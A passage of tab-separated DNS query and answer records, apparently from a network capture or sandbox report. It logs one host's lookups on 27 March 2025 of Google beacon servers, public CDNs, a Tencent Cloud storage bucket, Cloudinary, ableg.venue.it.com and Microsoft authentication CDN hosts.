Mar 27, 2025 18:53:45.972482920 CET	192.168.2.4	1.1.1.1	0xc48b	Standard query (0)	beacons2.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:53:46.034502029 CET	192.168.2.4	1.1.1.1	0xc53c	Standard query (0)	beacons.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:53:46.989002943 CET	192.168.2.4	1.1.1.1	0xc48b	Standard query (0)	beacons2.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:53:48.042110920 CET	192.168.2.4	1.1.1.1	0xc53c	Standard query (0)	beacons.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:53:48.994096041 CET	192.168.2.4	1.1.1.1	0xc48b	Standard query (0)	beacons2.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:53:52.049164057 CET	192.168.2.4	1.1.1.1	0xc53c	Standard query (0)	beacons.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:53:53.003388882 CET	192.168.2.4	1.1.1.1	0xc48b	Standard query (0)	beacons2.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:53:57.005738020 CET	192.168.2.4	1.1.1.1	0xa996	Standard query (0)	beacons2.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:53:57.005953074 CET	192.168.2.4	1.1.1.1	0xbf21	Standard query (0)	beacons2.gvt2.com	65	IN (0x0001)	false
Mar 27, 2025 18:53:57.898902893 CET	192.168.2.4	1.1.1.1	0x2e3b	Standard query (0)	beacons3.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:53:57.899277925 CET	192.168.2.4	1.1.1.1	0xd634	Standard query (0)	beacons3.gvt2.com	65	IN (0x0001)	false
Mar 27, 2025 18:53:58.027234077 CET	192.168.2.4	1.1.1.1	0xe12a	Standard query (0)	beacons2.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:53:58.911298990 CET	192.168.2.4	1.1.1.1	0xe24a	Standard query (0)	beacons3.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:54:00.051800013 CET	192.168.2.4	1.1.1.1	0x3495	Standard query (0)	beacons2.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:54:00.944418907 CET	192.168.2.4	1.1.1.1	0x6962	Standard query (0)	beacons3.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:54:01.053040981 CET	192.168.2.4	1.1.1.1	0x3495	Standard query (0)	beacons2.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:54:01.956979990 CET	192.168.2.4	1.1.1.1	0x6962	Standard query (0)	beacons3.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:54:02.068214893 CET	192.168.2.4	1.1.1.1	0x3495	Standard query (0)	beacons2.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:54:02.961491108 CET	192.168.2.4	1.1.1.1	0x6962	Standard query (0)	beacons3.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:54:04.079938889 CET	192.168.2.4	1.1.1.1	0x3495	Standard query (0)	beacons2.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:54:04.967658043 CET	192.168.2.4	1.1.1.1	0x6962	Standard query (0)	beacons3.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:54:08.083067894 CET	192.168.2.4	1.1.1.1	0x3495	Standard query (0)	beacons2.gvt2.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 27, 2025 18:50:51.746051073 CET	1.1.1.1	192.168.2.4	0x9ad6	No error (0)	www.google.com		142.251.40.164	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:50:51.746115923 CET	1.1.1.1	192.168.2.4	0xe207	No error (0)	www.google.com			65	IN (0x0001)	false
Mar 27, 2025 18:50:52.773135900 CET	1.1.1.1	192.168.2.4	0x863c	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:50:52.773135900 CET	1.1.1.1	192.168.2.4	0x863c	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:50:52.773135900 CET	1.1.1.1	192.168.2.4	0x863c	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:50:52.773135900 CET	1.1.1.1	192.168.2.4	0x863c	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:50:52.773825884 CET	1.1.1.1	192.168.2.4	0xd029	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:50:52.773825884 CET	1.1.1.1	192.168.2.4	0xd029	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:50:52.773864031 CET	1.1.1.1	192.168.2.4	0xe1c2	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Mar 27, 2025 18:50:52.774550915 CET	1.1.1.1	192.168.2.4	0x75b5	No error (0)	maxcdn.bootstrapcdn.com		104.18.11.207	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:50:52.774550915 CET	1.1.1.1	192.168.2.4	0x75b5	No error (0)	maxcdn.bootstrapcdn.com		104.18.10.207	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:50:52.774640083 CET	1.1.1.1	192.168.2.4	0x178a	No error (0)	maxcdn.bootstrapcdn.com			65	IN (0x0001)	false
Mar 27, 2025 18:50:52.776599884 CET	1.1.1.1	192.168.2.4	0x3e54	No error (0)	stackpath.bootstrapcdn.com		104.18.11.207	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:50:52.776599884 CET	1.1.1.1	192.168.2.4	0x3e54	No error (0)	stackpath.bootstrapcdn.com		104.18.10.207	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:50:52.788034916 CET	1.1.1.1	192.168.2.4	0x28bd	No error (0)	stackpath.bootstrapcdn.com			65	IN (0x0001)	false
Mar 27, 2025 18:50:52.989088058 CET	1.1.1.1	192.168.2.4	0xb698	No error (0)	1419993777-1317754460.cos.ap-singapore.myqcloud.com	sgp.file.myqcloud.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 27, 2025 18:50:52.989088058 CET	1.1.1.1	192.168.2.4	0xb698	No error (0)	sgp.file.myqcloud.com		43.152.64.193	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:50:52.989088058 CET	1.1.1.1	192.168.2.4	0xb698	No error (0)	sgp.file.myqcloud.com		43.152.64.207	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:50:52.989088058 CET	1.1.1.1	192.168.2.4	0xb698	No error (0)	sgp.file.myqcloud.com		43.153.232.151	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:50:52.989088058 CET	1.1.1.1	192.168.2.4	0xb698	No error (0)	sgp.file.myqcloud.com		43.153.232.152	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:50:53.242444038 CET	1.1.1.1	192.168.2.4	0x6917	No error (0)	1419993777-1317754460.cos.ap-singapore.myqcloud.com	sgp.file.myqcloud.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 27, 2025 18:50:55.788238049 CET	1.1.1.1	192.168.2.4	0x1ed8	No error (0)	res.cloudinary.com	resc.cloudinary.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 27, 2025 18:50:55.788238049 CET	1.1.1.1	192.168.2.4	0x1ed8	No error (0)	resc.cloudinary.com.cdn.cloudflare.net		104.17.202.1	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:50:55.788238049 CET	1.1.1.1	192.168.2.4	0x1ed8	No error (0)	resc.cloudinary.com.cdn.cloudflare.net		104.17.201.1	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:50:55.788309097 CET	1.1.1.1	192.168.2.4	0x1fa8	No error (0)	res.cloudinary.com	resc.cloudinary.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 27, 2025 18:50:55.798955917 CET	1.1.1.1	192.168.2.4	0xfa3d	No error (0)	ableg.venue.it.com		172.64.80.1	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:50:55.806314945 CET	1.1.1.1	192.168.2.4	0xb2ed	No error (0)	ableg.venue.it.com			65	IN (0x0001)	false
Mar 27, 2025 18:50:56.340946913 CET	1.1.1.1	192.168.2.4	0x4c34	No error (0)	res.cloudinary.com	resc.cloudinary.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 27, 2025 18:50:56.340946913 CET	1.1.1.1	192.168.2.4	0x4c34	No error (0)	resc.cloudinary.com.cdn.cloudflare.net		104.17.202.1	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:50:56.340946913 CET	1.1.1.1	192.168.2.4	0x4c34	No error (0)	resc.cloudinary.com.cdn.cloudflare.net		104.17.201.1	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:50:56.341032028 CET	1.1.1.1	192.168.2.4	0x1880	No error (0)	res.cloudinary.com	resc.cloudinary.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 27, 2025 18:51:00.611362934 CET	1.1.1.1	192.168.2.4	0x8811	No error (0)	ableg.venue.it.com		172.64.80.1	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:51:00.611419916 CET	1.1.1.1	192.168.2.4	0x491	No error (0)	ableg.venue.it.com			65	IN (0x0001)	false
Mar 27, 2025 18:51:03.638724089 CET	1.1.1.1	192.168.2.4	0xd05c	No error (0)	aadcdn.msftauth.net	www.tm.aadcdn.msftauth.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 27, 2025 18:51:03.638724089 CET	1.1.1.1	192.168.2.4	0xd05c	No error (0)	www.tm.aadcdn.msftauth.akadns.net	aadcdn.msftauth.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 27, 2025 18:51:03.638724089 CET	1.1.1.1	192.168.2.4	0xd05c	No error (0)	aadcdn.msftauth.edgekey.net	e329293.dscd.akamaiedge.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 27, 2025 18:51:03.638724089 CET	1.1.1.1	192.168.2.4	0xd05c	No error (0)	e329293.dscd.akamaiedge.net		23.209.72.31	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:51:03.638724089 CET	1.1.1.1	192.168.2.4	0xd05c	No error (0)	e329293.dscd.akamaiedge.net		23.209.72.9	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:51:03.638789892 CET	1.1.1.1	192.168.2.4	0x3c52	No error (0)	aadcdn.msftauth.net	www.tm.aadcdn.msftauth.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 27, 2025 18:51:03.638789892 CET	1.1.1.1	192.168.2.4	0x3c52	No error (0)	www.tm.aadcdn.msftauth.akadns.net	aadcdn.msftauth.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 27, 2025 18:51:03.638789892 CET	1.1.1.1	192.168.2.4	0x3c52	No error (0)	aadcdn.msftauth.edgekey.net	e329293.dscd.akamaiedge.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 27, 2025 18:51:03.663842916 CET	1.1.1.1	192.168.2.4	0x52a4	No error (0)	shed.dual-low.s-part-0012.t-0009.t-msedge.net	s-part-0012.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 27, 2025 18:51:03.663842916 CET	1.1.1.1	192.168.2.4	0x52a4	No error (0)	s-part-0012.t-0009.t-msedge.net		13.107.246.40	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:51:04.142044067 CET	1.1.1.1	192.168.2.4	0x8dc8	No error (0)	aadcdn.msftauth.net	www.tm.aadcdn.msftauth.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 27, 2025 18:51:04.142044067 CET	1.1.1.1	192.168.2.4	0x8dc8	No error (0)	www.tm.aadcdn.msftauth.akadns.net	aadcdn.msftauth.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 27, 2025 18:51:04.142044067 CET	1.1.1.1	192.168.2.4	0x8dc8	No error (0)	aadcdn.msftauth.edgekey.net	e329293.dscd.akamaiedge.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 27, 2025 18:51:04.142044067 CET	1.1.1.1	192.168.2.4	0x8dc8	No error (0)	e329293.dscd.akamaiedge.net		23.209.72.31	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:51:04.142044067 CET	1.1.1.1	192.168.2.4	0x8dc8	No error (0)	e329293.dscd.akamaiedge.net		23.209.72.9	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:51:04.142111063 CET	1.1.1.1	192.168.2.4	0xc8f6	No error (0)	aadcdn.msftauth.net	www.tm.aadcdn.msftauth.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 27, 2025 18:51:04.142111063 CET	1.1.1.1	192.168.2.4	0xc8f6	No error (0)	www.tm.aadcdn.msftauth.akadns.net	aadcdn.msftauth.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 27, 2025 18:51:04.142111063 CET	1.1.1.1	192.168.2.4	0xc8f6	No error (0)	aadcdn.msftauth.edgekey.net	e329293.dscd.akamaiedge.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 27, 2025 18:51:04.317631960 CET	1.1.1.1	192.168.2.4	0xfd9c	No error (0)	shed.dual-low.s-part-0012.t-0009.t-msedge.net	s-part-0012.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 27, 2025 18:51:04.317631960 CET	1.1.1.1	192.168.2.4	0xfd9c	No error (0)	s-part-0012.t-0009.t-msedge.net		13.107.246.40	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:51:53.985265970 CET	1.1.1.1	192.168.2.4	0x2e8b	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 27, 2025 18:51:53.985265970 CET	1.1.1.1	192.168.2.4	0x2e8b	No error (0)	beacons-handoff.gcp.gvt2.com	gce-beacons.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 27, 2025 18:51:53.985265970 CET	1.1.1.1	192.168.2.4	0x2e8b	No error (0)	gce-beacons.gcp.gvt2.com		35.186.199.248	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:51:53.985284090 CET	1.1.1.1	192.168.2.4	0x16c9	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 27, 2025 18:51:55.011674881 CET	1.1.1.1	192.168.2.4	0x34bb	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 27, 2025 18:51:55.011674881 CET	1.1.1.1	192.168.2.4	0x34bb	No error (0)	beacons-handoff.gcp.gvt2.com	gce-beacons.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 27, 2025 18:51:55.011674881 CET	1.1.1.1	192.168.2.4	0x34bb	No error (0)	gce-beacons.gcp.gvt2.com		35.186.199.248	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:51:55.011825085 CET	1.1.1.1	192.168.2.4	0x91fc	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 27, 2025 18:51:57.043093920 CET	1.1.1.1	192.168.2.4	0x8b84	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 27, 2025 18:51:57.043093920 CET	1.1.1.1	192.168.2.4	0x8b84	No error (0)	beacons-handoff.gcp.gvt2.com	gce-beacons.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 27, 2025 18:51:57.043093920 CET	1.1.1.1	192.168.2.4	0x8b84	No error (0)	gce-beacons.gcp.gvt2.com		35.186.199.248	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:51:58.058051109 CET	1.1.1.1	192.168.2.4	0x8b84	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 27, 2025 18:51:58.058051109 CET	1.1.1.1	192.168.2.4	0x8b84	No error (0)	beacons-handoff.gcp.gvt2.com	gce-beacons.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 27, 2025 18:51:58.058051109 CET	1.1.1.1	192.168.2.4	0x8b84	No error (0)	gce-beacons.gcp.gvt2.com		35.186.199.248	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:51:59.058142900 CET	1.1.1.1	192.168.2.4	0x8b84	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 27, 2025 18:51:59.058142900 CET	1.1.1.1	192.168.2.4	0x8b84	No error (0)	beacons-handoff.gcp.gvt2.com	gce-beacons.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 27, 2025 18:51:59.058142900 CET	1.1.1.1	192.168.2.4	0x8b84	No error (0)	gce-beacons.gcp.gvt2.com		35.186.199.248	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:52:01.076435089 CET	1.1.1.1	192.168.2.4	0x8b84	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 27, 2025 18:52:01.076435089 CET	1.1.1.1	192.168.2.4	0x8b84	No error (0)	beacons-handoff.gcp.gvt2.com	gce-beacons.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 27, 2025 18:52:01.076435089 CET	1.1.1.1	192.168.2.4	0x8b84	No error (0)	gce-beacons.gcp.gvt2.com		35.186.199.248	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:52:05.073798895 CET	1.1.1.1	192.168.2.4	0x8b84	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 27, 2025 18:52:05.073798895 CET	1.1.1.1	192.168.2.4	0x8b84	No error (0)	beacons-handoff.gcp.gvt2.com	gce-beacons.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 27, 2025 18:52:05.073798895 CET	1.1.1.1	192.168.2.4	0x8b84	No error (0)	gce-beacons.gcp.gvt2.com		35.186.199.248	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:52:09.979305983 CET	1.1.1.1	192.168.2.4	0x3ea5	No error (0)	beacons.gvt2.com		142.250.176.195	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:52:10.996551991 CET	1.1.1.1	192.168.2.4	0xfee7	No error (0)	beacons.gvt2.com		142.250.176.195	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:52:13.031969070 CET	1.1.1.1	192.168.2.4	0x242d	No error (0)	beacons.gvt2.com		142.250.176.195	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:52:14.033011913 CET	1.1.1.1	192.168.2.4	0x242d	No error (0)	beacons.gvt2.com		142.250.176.195	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:52:15.045264959 CET	1.1.1.1	192.168.2.4	0x242d	No error (0)	beacons.gvt2.com		142.250.176.195	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:52:17.048048019 CET	1.1.1.1	192.168.2.4	0x242d	No error (0)	beacons.gvt2.com		142.250.176.195	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:52:21.059941053 CET	1.1.1.1	192.168.2.4	0x242d	No error (0)	beacons.gvt2.com		142.250.176.195	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:52:25.991012096 CET	1.1.1.1	192.168.2.4	0xb2f9	No error (0)	beacons2.gvt2.com		142.250.107.94	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:52:27.013251066 CET	1.1.1.1	192.168.2.4	0x8f64	No error (0)	beacons2.gvt2.com		142.250.107.94	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:52:29.052012920 CET	1.1.1.1	192.168.2.4	0x3305	No error (0)	beacons2.gvt2.com		142.250.107.94	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:52:30.049036980 CET	1.1.1.1	192.168.2.4	0x3305	No error (0)	beacons2.gvt2.com		142.250.107.94	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:52:31.061330080 CET	1.1.1.1	192.168.2.4	0x3305	No error (0)	beacons2.gvt2.com		142.250.107.94	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:52:33.061511040 CET	1.1.1.1	192.168.2.4	0x3305	No error (0)	beacons2.gvt2.com		142.250.107.94	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:52:37.072366953 CET	1.1.1.1	192.168.2.4	0x3305	No error (0)	beacons2.gvt2.com		142.250.107.94	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:52:41.987207890 CET	1.1.1.1	192.168.2.4	0xe3b4	No error (0)	beacons3.gvt2.com		142.251.32.99	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:52:42.997874022 CET	1.1.1.1	192.168.2.4	0x8373	No error (0)	beacons3.gvt2.com		142.251.32.99	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:52:45.032787085 CET	1.1.1.1	192.168.2.4	0xbf62	No error (0)	beacons3.gvt2.com		142.251.32.99	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:52:46.040426970 CET	1.1.1.1	192.168.2.4	0xbf62	No error (0)	beacons3.gvt2.com		142.251.32.99	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:52:47.045123100 CET	1.1.1.1	192.168.2.4	0xbf62	No error (0)	beacons3.gvt2.com		142.251.32.99	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:52:49.059948921 CET	1.1.1.1	192.168.2.4	0xbf62	No error (0)	beacons3.gvt2.com		142.251.32.99	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:52:53.061428070 CET	1.1.1.1	192.168.2.4	0xbf62	No error (0)	beacons3.gvt2.com		142.251.32.99	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:52:57.982352972 CET	1.1.1.1	192.168.2.4	0x8ae8	No error (0)	beacons4.gvt2.com		216.239.32.116	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:52:58.993370056 CET	1.1.1.1	192.168.2.4	0x1e05	No error (0)	beacons4.gvt2.com		216.239.32.116	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:53:01.029316902 CET	1.1.1.1	192.168.2.4	0x5b75	No error (0)	beacons4.gvt2.com		216.239.32.116	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:53:02.034105062 CET	1.1.1.1	192.168.2.4	0x5b75	No error (0)	beacons4.gvt2.com		216.239.32.116	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:53:03.034789085 CET	1.1.1.1	192.168.2.4	0x5b75	No error (0)	beacons4.gvt2.com		216.239.32.116	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:53:05.046267033 CET	1.1.1.1	192.168.2.4	0x5b75	No error (0)	beacons4.gvt2.com		216.239.32.116	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:53:09.055943012 CET	1.1.1.1	192.168.2.4	0x5b75	No error (0)	beacons4.gvt2.com		216.239.32.116	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:53:09.978967905 CET	1.1.1.1	192.168.2.4	0xf9e2	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 27, 2025 18:53:09.978967905 CET	1.1.1.1	192.168.2.4	0xf9e2	No error (0)	beacons-handoff.gcp.gvt2.com	gce-beacons.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 27, 2025 18:53:09.978967905 CET	1.1.1.1	192.168.2.4	0xf9e2	No error (0)	gce-beacons.gcp.gvt2.com		35.186.199.248	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:53:09.979046106 CET	1.1.1.1	192.168.2.4	0x47ff	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 27, 2025 18:53:10.998295069 CET	1.1.1.1	192.168.2.4	0x18e6	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 27, 2025 18:53:10.998295069 CET	1.1.1.1	192.168.2.4	0x18e6	No error (0)	beacons-handoff.gcp.gvt2.com	gce-beacons.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 27, 2025 18:53:10.998295069 CET	1.1.1.1	192.168.2.4	0x18e6	No error (0)	gce-beacons.gcp.gvt2.com		35.186.199.248	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:53:10.998326063 CET	1.1.1.1	192.168.2.4	0x5907	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 27, 2025 18:53:13.030181885 CET	1.1.1.1	192.168.2.4	0xe647	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 27, 2025 18:53:13.030181885 CET	1.1.1.1	192.168.2.4	0xe647	No error (0)	beacons-handoff.gcp.gvt2.com	gce-beacons.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 27, 2025 18:53:13.030181885 CET	1.1.1.1	192.168.2.4	0xe647	No error (0)	gce-beacons.gcp.gvt2.com		35.186.199.248	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:53:14.044344902 CET	1.1.1.1	192.168.2.4	0xe647	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 27, 2025 18:53:14.044344902 CET	1.1.1.1	192.168.2.4	0xe647	No error (0)	beacons-handoff.gcp.gvt2.com	gce-beacons.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 27, 2025 18:53:14.044344902 CET	1.1.1.1	192.168.2.4	0xe647	No error (0)	gce-beacons.gcp.gvt2.com		35.186.199.248	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:53:15.056638002 CET	1.1.1.1	192.168.2.4	0xe647	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 27, 2025 18:53:15.056638002 CET	1.1.1.1	192.168.2.4	0xe647	No error (0)	beacons-handoff.gcp.gvt2.com	gce-beacons.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 27, 2025 18:53:15.056638002 CET	1.1.1.1	192.168.2.4	0xe647	No error (0)	gce-beacons.gcp.gvt2.com		35.186.199.248	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:53:17.062720060 CET	1.1.1.1	192.168.2.4	0xe647	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 27, 2025 18:53:17.062720060 CET	1.1.1.1	192.168.2.4	0xe647	No error (0)	beacons-handoff.gcp.gvt2.com	gce-beacons.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 27, 2025 18:53:17.062720060 CET	1.1.1.1	192.168.2.4	0xe647	No error (0)	gce-beacons.gcp.gvt2.com		35.186.199.248	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:53:21.066804886 CET	1.1.1.1	192.168.2.4	0xe647	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 27, 2025 18:53:21.066804886 CET	1.1.1.1	192.168.2.4	0xe647	No error (0)	beacons-handoff.gcp.gvt2.com	gce-beacons.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 27, 2025 18:53:21.066804886 CET	1.1.1.1	192.168.2.4	0xe647	No error (0)	gce-beacons.gcp.gvt2.com		35.186.199.248	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:53:25.089107990 CET	1.1.1.1	192.168.2.4	0x1958	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 27, 2025 18:53:25.089107990 CET	1.1.1.1	192.168.2.4	0x1958	No error (0)	beacons-handoff.gcp.gvt2.com	gce-beacons.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 27, 2025 18:53:25.089107990 CET	1.1.1.1	192.168.2.4	0x1958	No error (0)	gce-beacons.gcp.gvt2.com		35.186.199.248	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:53:25.089160919 CET	1.1.1.1	192.168.2.4	0x79a7	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 27, 2025 18:53:25.993410110 CET	1.1.1.1	192.168.2.4	0x206c	No error (0)	beacons.gvt2.com		142.250.176.195	A (IP address)	IN (0x0001)	false
Mar 27, 2025 18:53:26.098598957 CET	1.1.1.1	192.168.2.4	0x4ff5	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
